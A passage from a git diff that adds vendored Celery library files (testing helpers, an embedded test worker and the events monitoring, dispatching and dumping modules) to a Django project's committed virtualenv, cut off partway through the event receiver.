sig.options.pop('eta', None) + if eta and isinstance(eta, datetime): + eta = eta.isoformat() + expires = sig.options.pop('expires', None) + if expires and isinstance(expires, numbers.Real): + expires = app.now() + timedelta(seconds=expires) + if expires and isinstance(expires, datetime): + expires = expires.isoformat() + return TaskMessage( + sig.task, id=sig.id, args=sig.args, + kwargs=sig.kwargs, + callbacks=[dict(s) for s in callbacks] if callbacks else None, + errbacks=[dict(s) for s in errbacks] if errbacks else None, + eta=eta, + expires=expires, + utc=utc, + **sig.options + ) + + +class _ContextMock(Mock): + """Dummy class implementing __enter__ and __exit__. + + The :keyword:`with` statement requires these to be implemented + in the class, not just the instance. + """ + + def __enter__(self): + return self + + def __exit__(self, *exc_info): + pass + + +def ContextMock(*args, **kwargs): + """Mock that mocks :keyword:`with` statement contexts.""" + obj = _ContextMock(*args, **kwargs) + obj.attach_mock(_ContextMock(), '__enter__') + obj.attach_mock(_ContextMock(), '__exit__') + obj.__enter__.return_value = obj + # if __exit__ return a value the exception is ignored, + # so it must return None here. + obj.__exit__.return_value = None + return obj diff --git a/django_lottopy/lib/python3.10/site-packages/celery/contrib/testing/tasks.py b/django_lottopy/lib/python3.10/site-packages/celery/contrib/testing/tasks.py new file mode 100644 index 00000000..a372a20f --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/contrib/testing/tasks.py @@ -0,0 +1,9 @@ +"""Helper tasks for integration tests.""" +from celery import shared_task + + +@shared_task(name='celery.ping') +def ping(): + # type: () -> str + """Simple task that just returns 'pong'.""" + return 'pong' diff --git a/django_lottopy/lib/python3.10/site-packages/celery/contrib/testing/worker.py b/django_lottopy/lib/python3.10/site-packages/celery/contrib/testing/worker.py new file mode 100644 index 00000000..b4e68cb8 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/contrib/testing/worker.py @@ -0,0 +1,177 @@ +"""Embedded workers for integration tests.""" +import os +import threading +from contextlib import contextmanager +from typing import Any, Iterable, Union + +import celery.worker.consumer +from celery import Celery, worker +from celery.result import _set_task_join_will_block, allow_join_result +from celery.utils.dispatch import Signal +from celery.utils.nodenames import anon_nodename + +WORKER_LOGLEVEL = os.environ.get('WORKER_LOGLEVEL', 'error') + +test_worker_starting = Signal( + name='test_worker_starting', + providing_args={}, +) +test_worker_started = Signal( + name='test_worker_started', + providing_args={'worker', 'consumer'}, +) +test_worker_stopped = Signal( + name='test_worker_stopped', + providing_args={'worker'}, +) + + +class TestWorkController(worker.WorkController): + """Worker that can synchronize on being fully started.""" + + def __init__(self, *args, **kwargs): + # type: (*Any, **Any) -> None + self._on_started = threading.Event() + super().__init__(*args, **kwargs) + + def on_consumer_ready(self, consumer): + # type: (celery.worker.consumer.Consumer) -> None + """Callback called when the Consumer blueprint is fully started.""" + self._on_started.set() + test_worker_started.send( + sender=self.app, worker=self, consumer=consumer) + + def ensure_started(self): + # type: () -> None + """Wait for worker to be fully up and running. + + Warning: + Worker must be started within a thread for this to work, + or it will block forever. + """ + self._on_started.wait() + + +@contextmanager +def start_worker( + app, # type: Celery + concurrency=1, # type: int + pool='solo', # type: str + loglevel=WORKER_LOGLEVEL, # type: Union[str, int] + logfile=None, # type: str + perform_ping_check=True, # type: bool + ping_task_timeout=10.0, # type: float + shutdown_timeout=10.0, # type: float + **kwargs # type: Any +): + # type: (...) -> Iterable + """Start embedded worker. + + Yields: + celery.app.worker.Worker: worker instance. + """ + test_worker_starting.send(sender=app) + + with _start_worker_thread(app, + concurrency=concurrency, + pool=pool, + loglevel=loglevel, + logfile=logfile, + perform_ping_check=perform_ping_check, + shutdown_timeout=shutdown_timeout, + **kwargs) as worker: + if perform_ping_check: + from .tasks import ping + with allow_join_result(): + assert ping.delay().get(timeout=ping_task_timeout) == 'pong' + + yield worker + test_worker_stopped.send(sender=app, worker=worker) + + +@contextmanager +def _start_worker_thread(app, + concurrency=1, + pool='solo', + loglevel=WORKER_LOGLEVEL, + logfile=None, + WorkController=TestWorkController, + perform_ping_check=True, + shutdown_timeout=10.0, + **kwargs): + # type: (Celery, int, str, Union[str, int], str, Any, **Any) -> Iterable + """Start Celery worker in a thread. + + Yields: + celery.worker.Worker: worker instance. + """ + setup_app_for_worker(app, loglevel, logfile) + if perform_ping_check: + assert 'celery.ping' in app.tasks + # Make sure we can connect to the broker + with app.connection(hostname=os.environ.get('TEST_BROKER')) as conn: + conn.default_channel.queue_declare + + worker = WorkController( + app=app, + concurrency=concurrency, + hostname=anon_nodename(), + pool=pool, + loglevel=loglevel, + logfile=logfile, + # not allowed to override TestWorkController.on_consumer_ready + ready_callback=None, + without_heartbeat=kwargs.pop("without_heartbeat", True), + without_mingle=True, + without_gossip=True, + **kwargs) + + t = threading.Thread(target=worker.start, daemon=True) + t.start() + worker.ensure_started() + _set_task_join_will_block(False) + + yield worker + + from celery.worker import state + state.should_terminate = 0 + t.join(shutdown_timeout) + if t.is_alive(): + raise RuntimeError( + "Worker thread failed to exit within the allocated timeout. " + "Consider raising `shutdown_timeout` if your tasks take longer " + "to execute." + ) + state.should_terminate = None + + +@contextmanager +def _start_worker_process(app, + concurrency=1, + pool='solo', + loglevel=WORKER_LOGLEVEL, + logfile=None, + **kwargs): + # type (Celery, int, str, Union[int, str], str, **Any) -> Iterable + """Start worker in separate process. + + Yields: + celery.app.worker.Worker: worker instance. + """ + from celery.apps.multi import Cluster, Node + + app.set_current() + cluster = Cluster([Node('testworker1@%h')]) + cluster.start() + yield + cluster.stopwait() + + +def setup_app_for_worker(app, loglevel, logfile): + # type: (Celery, Union[str, int], str) -> None + """Setup the app to be used for starting an embedded worker.""" + app.finalize() + app.set_current() + app.set_default() + type(app.log)._setup = False + app.log.setup(loglevel=loglevel, logfile=logfile) diff --git a/django_lottopy/lib/python3.10/site-packages/celery/events/__init__.py b/django_lottopy/lib/python3.10/site-packages/celery/events/__init__.py new file mode 100644 index 00000000..8e509fb7 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/events/__init__.py @@ -0,0 +1,15 @@ +"""Monitoring Event Receiver+Dispatcher. + +Events is a stream of messages sent for certain actions occurring +in the worker (and clients if :setting:`task_send_sent_event` +is enabled), used for monitoring purposes. +""" + +from .dispatcher import EventDispatcher +from .event import Event, event_exchange, get_exchange, group_from +from .receiver import EventReceiver + +__all__ = ( + 'Event', 'EventDispatcher', 'EventReceiver', + 'event_exchange', 'get_exchange', 'group_from', +) diff --git a/django_lottopy/lib/python3.10/site-packages/celery/events/cursesmon.py b/django_lottopy/lib/python3.10/site-packages/celery/events/cursesmon.py new file mode 100644 index 00000000..677c5e75 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/events/cursesmon.py @@ -0,0 +1,536 @@ +"""Graphical monitor of Celery events using curses.""" + +import curses +import sys +import threading +from datetime import datetime +from itertools import count +from math import ceil +from textwrap import wrap +from time import time + +from celery import VERSION_BANNER, states +from celery.app import app_or_default +from celery.utils.text import abbr, abbrtask + +__all__ = ('CursesMonitor', 'evtop') + +BORDER_SPACING = 4 +LEFT_BORDER_OFFSET = 3 +UUID_WIDTH = 36 +STATE_WIDTH = 8 +TIMESTAMP_WIDTH = 8 +MIN_WORKER_WIDTH = 15 +MIN_TASK_WIDTH = 16 + +# this module is considered experimental +# we don't care about coverage. + +STATUS_SCREEN = """\ +events: {s.event_count} tasks:{s.task_count} workers:{w_alive}/{w_all} +""" + + +class CursesMonitor: # pragma: no cover + """A curses based Celery task monitor.""" + + keymap = {} + win = None + screen_delay = 10 + selected_task = None + selected_position = 0 + selected_str = 'Selected: ' + foreground = curses.COLOR_BLACK + background = curses.COLOR_WHITE + online_str = 'Workers online: ' + help_title = 'Keys: ' + help = ('j:down k:up i:info t:traceback r:result c:revoke ^c: quit') + greet = f'celery events {VERSION_BANNER}' + info_str = 'Info: ' + + def __init__(self, state, app, keymap=None): + self.app = app + self.keymap = keymap or self.keymap + self.state = state + default_keymap = { + 'J': self.move_selection_down, + 'K': self.move_selection_up, + 'C': self.revoke_selection, + 'T': self.selection_traceback, + 'R': self.selection_result, + 'I': self.selection_info, + 'L': self.selection_rate_limit, + } + self.keymap = dict(default_keymap, **self.keymap) + self.lock = threading.RLock() + + def format_row(self, uuid, task, worker, timestamp, state): + mx = self.display_width + + # include spacing + detail_width = mx - 1 - STATE_WIDTH - 1 - TIMESTAMP_WIDTH + uuid_space = detail_width - 1 - MIN_TASK_WIDTH - 1 - MIN_WORKER_WIDTH + + if uuid_space < UUID_WIDTH: + uuid_width = uuid_space + else: + uuid_width = UUID_WIDTH + + detail_width = detail_width - uuid_width - 1 + task_width = int(ceil(detail_width / 2.0)) + worker_width = detail_width - task_width - 1 + + uuid = abbr(uuid, uuid_width).ljust(uuid_width) + worker = abbr(worker, worker_width).ljust(worker_width) + task = abbrtask(task, task_width).ljust(task_width) + state = abbr(state, STATE_WIDTH).ljust(STATE_WIDTH) + timestamp = timestamp.ljust(TIMESTAMP_WIDTH) + + row = f'{uuid} {worker} {task} {timestamp} {state} ' + if self.screen_width is None: + self.screen_width = len(row[:mx]) + return row[:mx] + + @property + def screen_width(self): + _, mx = self.win.getmaxyx() + return mx + + @property + def screen_height(self): + my, _ = self.win.getmaxyx() + return my + + @property + def display_width(self): + _, mx = self.win.getmaxyx() + return mx - BORDER_SPACING + + @property + def display_height(self): + my, _ = self.win.getmaxyx() + return my - 10 + + @property + def limit(self): + return self.display_height + + def find_position(self): + if not self.tasks: + return 0 + for i, e in enumerate(self.tasks): + if self.selected_task == e[0]: + return i + return 0 + + def move_selection_up(self): + self.move_selection(-1) + + def move_selection_down(self): + self.move_selection(1) + + def move_selection(self, direction=1): + if not self.tasks: + return + pos = self.find_position() + try: + self.selected_task = self.tasks[pos + direction][0] + except IndexError: + self.selected_task = self.tasks[0][0] + + keyalias = {curses.KEY_DOWN: 'J', + curses.KEY_UP: 'K', + curses.KEY_ENTER: 'I'} + + def handle_keypress(self): + try: + key = self.win.getkey().upper() + except Exception: # pylint: disable=broad-except + return + key = self.keyalias.get(key) or key + handler = self.keymap.get(key) + if handler is not None: + handler() + + def alert(self, callback, title=None): + self.win.erase() + my, mx = self.win.getmaxyx() + y = blank_line = count(2) + if title: + self.win.addstr(next(y), 3, title, + curses.A_BOLD | curses.A_UNDERLINE) + next(blank_line) + callback(my, mx, next(y)) + self.win.addstr(my - 1, 0, 'Press any key to continue...', + curses.A_BOLD) + self.win.refresh() + while 1: + try: + return self.win.getkey().upper() + except Exception: # pylint: disable=broad-except + pass + + def selection_rate_limit(self): + if not self.selected_task: + return curses.beep() + task = self.state.tasks[self.selected_task] + if not task.name: + return curses.beep() + + my, mx = self.win.getmaxyx() + r = 'New rate limit: ' + self.win.addstr(my - 2, 3, r, curses.A_BOLD | curses.A_UNDERLINE) + self.win.addstr(my - 2, len(r) + 3, ' ' * (mx - len(r))) + rlimit = self.readline(my - 2, 3 + len(r)) + + if rlimit: + reply = self.app.control.rate_limit(task.name, + rlimit.strip(), reply=True) + self.alert_remote_control_reply(reply) + + def alert_remote_control_reply(self, reply): + + def callback(my, mx, xs): + y = count(xs) + if not reply: + self.win.addstr( + next(y), 3, 'No replies received in 1s deadline.', + curses.A_BOLD + curses.color_pair(2), + ) + return + + for subreply in reply: + curline = next(y) + + host, response = next(subreply.items()) + host = f'{host}: ' + self.win.addstr(curline, 3, host, curses.A_BOLD) + attr = curses.A_NORMAL + text = '' + if 'error' in response: + text = response['error'] + attr |= curses.color_pair(2) + elif 'ok' in response: + text = response['ok'] + attr |= curses.color_pair(3) + self.win.addstr(curline, 3 + len(host), text, attr) + + return self.alert(callback, 'Remote Control Command Replies') + + def readline(self, x, y): + buffer = '' + curses.echo() + try: + i = 0 + while 1: + ch = self.win.getch(x, y + i) + if ch != -1: + if ch in (10, curses.KEY_ENTER): # enter + break + if ch in (27,): + buffer = '' + break + buffer += chr(ch) + i += 1 + finally: + curses.noecho() + return buffer + + def revoke_selection(self): + if not self.selected_task: + return curses.beep() + reply = self.app.control.revoke(self.selected_task, reply=True) + self.alert_remote_control_reply(reply) + + def selection_info(self): + if not self.selected_task: + return + + def alert_callback(mx, my, xs): + my, mx = self.win.getmaxyx() + y = count(xs) + task = self.state.tasks[self.selected_task] + info = task.info(extra=['state']) + infoitems = [ + ('args', info.pop('args', None)), + ('kwargs', info.pop('kwargs', None)) + ] + list(info.items()) + for key, value in infoitems: + if key is None: + continue + value = str(value) + curline = next(y) + keys = key + ': ' + self.win.addstr(curline, 3, keys, curses.A_BOLD) + wrapped = wrap(value, mx - 2) + if len(wrapped) == 1: + self.win.addstr( + curline, len(keys) + 3, + abbr(wrapped[0], + self.screen_width - (len(keys) + 3))) + else: + for subline in wrapped: + nexty = next(y) + if nexty >= my - 1: + subline = ' ' * 4 + '[...]' + elif nexty >= my: + break + self.win.addstr( + nexty, 3, + abbr(' ' * 4 + subline, self.screen_width - 4), + curses.A_NORMAL, + ) + + return self.alert( + alert_callback, f'Task details for {self.selected_task}', + ) + + def selection_traceback(self): + if not self.selected_task: + return curses.beep() + task = self.state.tasks[self.selected_task] + if task.state not in states.EXCEPTION_STATES: + return curses.beep() + + def alert_callback(my, mx, xs): + y = count(xs) + for line in task.traceback.split('\n'): + self.win.addstr(next(y), 3, line) + + return self.alert( + alert_callback, + f'Task Exception Traceback for {self.selected_task}', + ) + + def selection_result(self): + if not self.selected_task: + return + + def alert_callback(my, mx, xs): + y = count(xs) + task = self.state.tasks[self.selected_task] + result = (getattr(task, 'result', None) or + getattr(task, 'exception', None)) + for line in wrap(result or '', mx - 2): + self.win.addstr(next(y), 3, line) + + return self.alert( + alert_callback, + f'Task Result for {self.selected_task}', + ) + + def display_task_row(self, lineno, task): + state_color = self.state_colors.get(task.state) + attr = curses.A_NORMAL + if task.uuid == self.selected_task: + attr = curses.A_STANDOUT + timestamp = datetime.utcfromtimestamp( + task.timestamp or time(), + ) + timef = timestamp.strftime('%H:%M:%S') + hostname = task.worker.hostname if task.worker else '*NONE*' + line = self.format_row(task.uuid, task.name, + hostname, + timef, task.state) + self.win.addstr(lineno, LEFT_BORDER_OFFSET, line, attr) + + if state_color: + self.win.addstr(lineno, + len(line) - STATE_WIDTH + BORDER_SPACING - 1, + task.state, state_color | attr) + + def draw(self): + with self.lock: + win = self.win + self.handle_keypress() + x = LEFT_BORDER_OFFSET + y = blank_line = count(2) + my, _ = win.getmaxyx() + win.erase() + win.bkgd(' ', curses.color_pair(1)) + win.border() + win.addstr(1, x, self.greet, curses.A_DIM | curses.color_pair(5)) + next(blank_line) + win.addstr(next(y), x, self.format_row('UUID', 'TASK', + 'WORKER', 'TIME', 'STATE'), + curses.A_BOLD | curses.A_UNDERLINE) + tasks = self.tasks + if tasks: + for row, (_, task) in enumerate(tasks): + if row > self.display_height: + break + + if task.uuid: + lineno = next(y) + self.display_task_row(lineno, task) + + # -- Footer + next(blank_line) + win.hline(my - 6, x, curses.ACS_HLINE, self.screen_width - 4) + + # Selected Task Info + if self.selected_task: + win.addstr(my - 5, x, self.selected_str, curses.A_BOLD) + info = 'Missing extended info' + detail = '' + try: + selection = self.state.tasks[self.selected_task] + except KeyError: + pass + else: + info = selection.info() + if 'runtime' in info: + info['runtime'] = '{:.2f}'.format(info['runtime']) + if 'result' in info: + info['result'] = abbr(info['result'], 16) + info = ' '.join( + f'{key}={value}' + for key, value in info.items() + ) + detail = '... -> key i' + infowin = abbr(info, + self.screen_width - len(self.selected_str) - 2, + detail) + win.addstr(my - 5, x + len(self.selected_str), infowin) + # Make ellipsis bold + if detail in infowin: + detailpos = len(infowin) - len(detail) + win.addstr(my - 5, x + len(self.selected_str) + detailpos, + detail, curses.A_BOLD) + else: + win.addstr(my - 5, x, 'No task selected', curses.A_NORMAL) + + # Workers + if self.workers: + win.addstr(my - 4, x, self.online_str, curses.A_BOLD) + win.addstr(my - 4, x + len(self.online_str), + ', '.join(sorted(self.workers)), curses.A_NORMAL) + else: + win.addstr(my - 4, x, 'No workers discovered.') + + # Info + win.addstr(my - 3, x, self.info_str, curses.A_BOLD) + win.addstr( + my - 3, x + len(self.info_str), + STATUS_SCREEN.format( + s=self.state, + w_alive=len([w for w in self.state.workers.values() + if w.alive]), + w_all=len(self.state.workers), + ), + curses.A_DIM, + ) + + # Help + self.safe_add_str(my - 2, x, self.help_title, curses.A_BOLD) + self.safe_add_str(my - 2, x + len(self.help_title), self.help, + curses.A_DIM) + win.refresh() + + def safe_add_str(self, y, x, string, *args, **kwargs): + if x + len(string) > self.screen_width: + string = string[:self.screen_width - x] + self.win.addstr(y, x, string, *args, **kwargs) + + def init_screen(self): + with self.lock: + self.win = curses.initscr() + self.win.nodelay(True) + self.win.keypad(True) + curses.start_color() + curses.init_pair(1, self.foreground, self.background) + # exception states + curses.init_pair(2, curses.COLOR_RED, self.background) + # successful state + curses.init_pair(3, curses.COLOR_GREEN, self.background) + # revoked state + curses.init_pair(4, curses.COLOR_MAGENTA, self.background) + # greeting + curses.init_pair(5, curses.COLOR_BLUE, self.background) + # started state + curses.init_pair(6, curses.COLOR_YELLOW, self.foreground) + + self.state_colors = {states.SUCCESS: curses.color_pair(3), + states.REVOKED: curses.color_pair(4), + states.STARTED: curses.color_pair(6)} + for state in states.EXCEPTION_STATES: + self.state_colors[state] = curses.color_pair(2) + + curses.cbreak() + + def resetscreen(self): + with self.lock: + curses.nocbreak() + self.win.keypad(False) + curses.echo() + curses.endwin() + + def nap(self): + curses.napms(self.screen_delay) + + @property + def tasks(self): + return list(self.state.tasks_by_time(limit=self.limit)) + + @property + def workers(self): + return [hostname for hostname, w in self.state.workers.items() + if w.alive] + + +class DisplayThread(threading.Thread): # pragma: no cover + + def __init__(self, display): + self.display = display + self.shutdown = False + super().__init__() + + def run(self): + while not self.shutdown: + self.display.draw() + self.display.nap() + + +def capture_events(app, state, display): # pragma: no cover + + def on_connection_error(exc, interval): + print('Connection Error: {!r}. Retry in {}s.'.format( + exc, interval), file=sys.stderr) + + while 1: + print('-> evtop: starting capture...', file=sys.stderr) + with app.connection_for_read() as conn: + try: + conn.ensure_connection(on_connection_error, + app.conf.broker_connection_max_retries) + recv = app.events.Receiver(conn, handlers={'*': state.event}) + display.resetscreen() + display.init_screen() + recv.capture() + except conn.connection_errors + conn.channel_errors as exc: + print(f'Connection lost: {exc!r}', file=sys.stderr) + + +def evtop(app=None): # pragma: no cover + """Start curses monitor.""" + app = app_or_default(app) + state = app.events.State() + display = CursesMonitor(state, app) + display.init_screen() + refresher = DisplayThread(display) + refresher.start() + try: + capture_events(app, state, display) + except Exception: + refresher.shutdown = True + refresher.join() + display.resetscreen() + raise + except (KeyboardInterrupt, SystemExit): + refresher.shutdown = True + refresher.join() + display.resetscreen() + + +if __name__ == '__main__': # pragma: no cover + evtop() diff --git a/django_lottopy/lib/python3.10/site-packages/celery/events/dispatcher.py b/django_lottopy/lib/python3.10/site-packages/celery/events/dispatcher.py new file mode 100644 index 00000000..1969fc21 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/events/dispatcher.py @@ -0,0 +1,229 @@ +"""Event dispatcher sends events.""" + +import os +import threading +import time +from collections import defaultdict, deque + +from kombu import Producer + +from celery.app import app_or_default +from celery.utils.nodenames import anon_nodename +from celery.utils.time import utcoffset + +from .event import Event, get_exchange, group_from + +__all__ = ('EventDispatcher',) + + +class EventDispatcher: + """Dispatches event messages. + + Arguments: + connection (kombu.Connection): Connection to the broker. + + hostname (str): Hostname to identify ourselves as, + by default uses the hostname returned by + :func:`~celery.utils.anon_nodename`. + + groups (Sequence[str]): List of groups to send events for. + :meth:`send` will ignore send requests to groups not in this list. + If this is :const:`None`, all events will be sent. + Example groups include ``"task"`` and ``"worker"``. + + enabled (bool): Set to :const:`False` to not actually publish any + events, making :meth:`send` a no-op. + + channel (kombu.Channel): Can be used instead of `connection` to specify + an exact channel to use when sending events. + + buffer_while_offline (bool): If enabled events will be buffered + while the connection is down. :meth:`flush` must be called + as soon as the connection is re-established. + + Note: + You need to :meth:`close` this after use. + """ + + DISABLED_TRANSPORTS = {'sql'} + + app = None + + # set of callbacks to be called when :meth:`enabled`. + on_enabled = None + + # set of callbacks to be called when :meth:`disabled`. + on_disabled = None + + def __init__(self, connection=None, hostname=None, enabled=True, + channel=None, buffer_while_offline=True, app=None, + serializer=None, groups=None, delivery_mode=1, + buffer_group=None, buffer_limit=24, on_send_buffered=None): + self.app = app_or_default(app or self.app) + self.connection = connection + self.channel = channel + self.hostname = hostname or anon_nodename() + self.buffer_while_offline = buffer_while_offline + self.buffer_group = buffer_group or frozenset() + self.buffer_limit = buffer_limit + self.on_send_buffered = on_send_buffered + self._group_buffer = defaultdict(list) + self.mutex = threading.Lock() + self.producer = None + self._outbound_buffer = deque() + self.serializer = serializer or self.app.conf.event_serializer + self.on_enabled = set() + self.on_disabled = set() + self.groups = set(groups or []) + self.tzoffset = [-time.timezone, -time.altzone] + self.clock = self.app.clock + self.delivery_mode = delivery_mode + if not connection and channel: + self.connection = channel.connection.client + self.enabled = enabled + conninfo = self.connection or self.app.connection_for_write() + self.exchange = get_exchange(conninfo, + name=self.app.conf.event_exchange) + if conninfo.transport.driver_type in self.DISABLED_TRANSPORTS: + self.enabled = False + if self.enabled: + self.enable() + self.headers = {'hostname': self.hostname} + self.pid = os.getpid() + + def __enter__(self): + return self + + def __exit__(self, *exc_info): + self.close() + + def enable(self): + self.producer = Producer(self.channel or self.connection, + exchange=self.exchange, + serializer=self.serializer, + auto_declare=False) + self.enabled = True + for callback in self.on_enabled: + callback() + + def disable(self): + if self.enabled: + self.enabled = False + self.close() + for callback in self.on_disabled: + callback() + + def publish(self, type, fields, producer, + blind=False, Event=Event, **kwargs): + """Publish event using custom :class:`~kombu.Producer`. + + Arguments: + type (str): Event type name, with group separated by dash (`-`). + fields: Dictionary of event fields, must be json serializable. + producer (kombu.Producer): Producer instance to use: + only the ``publish`` method will be called. + retry (bool): Retry in the event of connection failure. + retry_policy (Mapping): Map of custom retry policy options. + See :meth:`~kombu.Connection.ensure`. + blind (bool): Don't set logical clock value (also don't forward + the internal logical clock). + Event (Callable): Event type used to create event. + Defaults to :func:`Event`. + utcoffset (Callable): Function returning the current + utc offset in hours. + """ + clock = None if blind else self.clock.forward() + event = Event(type, hostname=self.hostname, utcoffset=utcoffset(), + pid=self.pid, clock=clock, **fields) + with self.mutex: + return self._publish(event, producer, + routing_key=type.replace('-', '.'), **kwargs) + + def _publish(self, event, producer, routing_key, retry=False, + retry_policy=None, utcoffset=utcoffset): + exchange = self.exchange + try: + producer.publish( + event, + routing_key=routing_key, + exchange=exchange.name, + retry=retry, + retry_policy=retry_policy, + declare=[exchange], + serializer=self.serializer, + headers=self.headers, + delivery_mode=self.delivery_mode, + ) + except Exception as exc: # pylint: disable=broad-except + if not self.buffer_while_offline: + raise + self._outbound_buffer.append((event, routing_key, exc)) + + def send(self, type, blind=False, utcoffset=utcoffset, retry=False, + retry_policy=None, Event=Event, **fields): + """Send event. + + Arguments: + type (str): Event type name, with group separated by dash (`-`). + retry (bool): Retry in the event of connection failure. + retry_policy (Mapping): Map of custom retry policy options. + See :meth:`~kombu.Connection.ensure`. + blind (bool): Don't set logical clock value (also don't forward + the internal logical clock). + Event (Callable): Event type used to create event, + defaults to :func:`Event`. + utcoffset (Callable): unction returning the current utc offset + in hours. + **fields (Any): Event fields -- must be json serializable. + """ + if self.enabled: + groups, group = self.groups, group_from(type) + if groups and group not in groups: + return + if group in self.buffer_group: + clock = self.clock.forward() + event = Event(type, hostname=self.hostname, + utcoffset=utcoffset(), + pid=self.pid, clock=clock, **fields) + buf = self._group_buffer[group] + buf.append(event) + if len(buf) >= self.buffer_limit: + self.flush() + elif self.on_send_buffered: + self.on_send_buffered() + else: + return self.publish(type, fields, self.producer, blind=blind, + Event=Event, retry=retry, + retry_policy=retry_policy) + + def flush(self, errors=True, groups=True): + """Flush the outbound buffer.""" + if errors: + buf = list(self._outbound_buffer) + try: + with self.mutex: + for event, routing_key, _ in buf: + self._publish(event, self.producer, routing_key) + finally: + self._outbound_buffer.clear() + if groups: + with self.mutex: + for group, events in self._group_buffer.items(): + self._publish(events, self.producer, '%s.multi' % group) + events[:] = [] # list.clear + + def extend_buffer(self, other): + """Copy the outbound buffer of another instance.""" + self._outbound_buffer.extend(other._outbound_buffer) + + def close(self): + """Close the event dispatcher.""" + self.mutex.locked() and self.mutex.release() + self.producer = None + + def _get_publisher(self): + return self.producer + + def _set_publisher(self, producer): + self.producer = producer + publisher = property(_get_publisher, _set_publisher) # XXX compat diff --git a/django_lottopy/lib/python3.10/site-packages/celery/events/dumper.py b/django_lottopy/lib/python3.10/site-packages/celery/events/dumper.py new file mode 100644 index 00000000..24c7b3e9 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/events/dumper.py @@ -0,0 +1,103 @@ +"""Utility to dump events to screen. + +This is a simple program that dumps events to the console +as they happen. Think of it like a `tcpdump` for Celery events. +""" +import sys +from datetime import datetime + +from celery.app import app_or_default +from celery.utils.functional import LRUCache +from celery.utils.time import humanize_seconds + +__all__ = ('Dumper', 'evdump') + +TASK_NAMES = LRUCache(limit=0xFFF) + +HUMAN_TYPES = { + 'worker-offline': 'shutdown', + 'worker-online': 'started', + 'worker-heartbeat': 'heartbeat', +} + +CONNECTION_ERROR = """\ +-> Cannot connect to %s: %s. +Trying again %s +""" + + +def humanize_type(type): + try: + return HUMAN_TYPES[type.lower()] + except KeyError: + return type.lower().replace('-', ' ') + + +class Dumper: + """Monitor events.""" + + def __init__(self, out=sys.stdout): + self.out = out + + def say(self, msg): + print(msg, file=self.out) + # need to flush so that output can be piped. + try: + self.out.flush() + except AttributeError: # pragma: no cover + pass + + def on_event(self, ev): + timestamp = datetime.utcfromtimestamp(ev.pop('timestamp')) + type = ev.pop('type').lower() + hostname = ev.pop('hostname') + if type.startswith('task-'): + uuid = ev.pop('uuid') + if type in ('task-received', 'task-sent'): + task = TASK_NAMES[uuid] = '{}({}) args={} kwargs={}' \ + .format(ev.pop('name'), uuid, + ev.pop('args'), + ev.pop('kwargs')) + else: + task = TASK_NAMES.get(uuid, '') + return self.format_task_event(hostname, timestamp, + type, task, ev) + fields = ', '.join( + f'{key}={ev[key]}' for key in sorted(ev) + ) + sep = fields and ':' or '' + self.say(f'{hostname} [{timestamp}] {humanize_type(type)}{sep} {fields}') + + def format_task_event(self, hostname, timestamp, type, task, event): + fields = ', '.join( + f'{key}={event[key]}' for key in sorted(event) + ) + sep = fields and ':' or '' + self.say(f'{hostname} [{timestamp}] {humanize_type(type)}{sep} {task} {fields}') + + +def evdump(app=None, out=sys.stdout): + """Start event dump.""" + app = app_or_default(app) + dumper = Dumper(out=out) + dumper.say('-> evdump: starting capture...') + conn = app.connection_for_read().clone() + + def _error_handler(exc, interval): + dumper.say(CONNECTION_ERROR % ( + conn.as_uri(), exc, humanize_seconds(interval, 'in', ' ') + )) + + while 1: + try: + conn.ensure_connection(_error_handler) + recv = app.events.Receiver(conn, handlers={'*': dumper.on_event}) + recv.capture() + except (KeyboardInterrupt, SystemExit): + return conn and conn.close() + except conn.connection_errors + conn.channel_errors: + dumper.say('-> Connection lost, attempting reconnect') + + +if __name__ == '__main__': # pragma: no cover + evdump() diff --git a/django_lottopy/lib/python3.10/site-packages/celery/events/event.py b/django_lottopy/lib/python3.10/site-packages/celery/events/event.py new file mode 100644 index 00000000..a05ed707 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/events/event.py @@ -0,0 +1,63 @@ +"""Creating events, and event exchange definition.""" +import time +from copy import copy + +from kombu import Exchange + +__all__ = ( + 'Event', 'event_exchange', 'get_exchange', 'group_from', +) + +EVENT_EXCHANGE_NAME = 'celeryev' +#: Exchange used to send events on. +#: Note: Use :func:`get_exchange` instead, as the type of +#: exchange will vary depending on the broker connection. +event_exchange = Exchange(EVENT_EXCHANGE_NAME, type='topic') + + +def Event(type, _fields=None, __dict__=dict, __now__=time.time, **fields): + """Create an event. + + Notes: + An event is simply a dictionary: the only required field is ``type``. + A ``timestamp`` field will be set to the current time if not provided. + """ + event = __dict__(_fields, **fields) if _fields else fields + if 'timestamp' not in event: + event.update(timestamp=__now__(), type=type) + else: + event['type'] = type + return event + + +def group_from(type): + """Get the group part of an event type name. + + Example: + >>> group_from('task-sent') + 'task' + + >>> group_from('custom-my-event') + 'custom' + """ + return type.split('-', 1)[0] + + +def get_exchange(conn, name=EVENT_EXCHANGE_NAME): + """Get exchange used for sending events. + + Arguments: + conn (kombu.Connection): Connection used for sending/receiving events. + name (str): Name of the exchange. Default is ``celeryev``. + + Note: + The event type changes if Redis is used as the transport + (from topic -> fanout). + """ + ex = copy(event_exchange) + if conn.transport.driver_type == 'redis': + # quick hack for Issue #436 + ex.type = 'fanout' + if name != ex.name: + ex.name = name + return ex diff --git a/django_lottopy/lib/python3.10/site-packages/celery/events/receiver.py b/django_lottopy/lib/python3.10/site-packages/celery/events/receiver.py new file mode 100644 index 00000000..14871073 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/events/receiver.py @@ -0,0 +1,135 @@ +"""Event receiver implementation.""" +import time +from operator import itemgetter + +from kombu import Queue +from kombu.connection import maybe_channel +from kombu.mixins import ConsumerMixin + +from celery import uuid +from celery.app import app_or_default +from celery.utils.time import adjust_timestamp + +from .event import get_exchange + +__all__ = ('EventReceiver',) + +CLIENT_CLOCK_SKEW = -1 + +_TZGETTER = itemgetter('utcoffset', 'timestamp') + + +class EventReceiver(ConsumerMixin): + """Capture events. + + Arguments: + connection (kombu.Connection): Connection to the broker. + handlers (Mapping[Callable]): Event handlers. + This is a map of event type names and their handlers. + The special handler `"*"` captures all events that don't have a + handler. + """ + + app = None + + def __init__(self, channel, handlers=None, routing_key='#', + node_id=None, app=None, 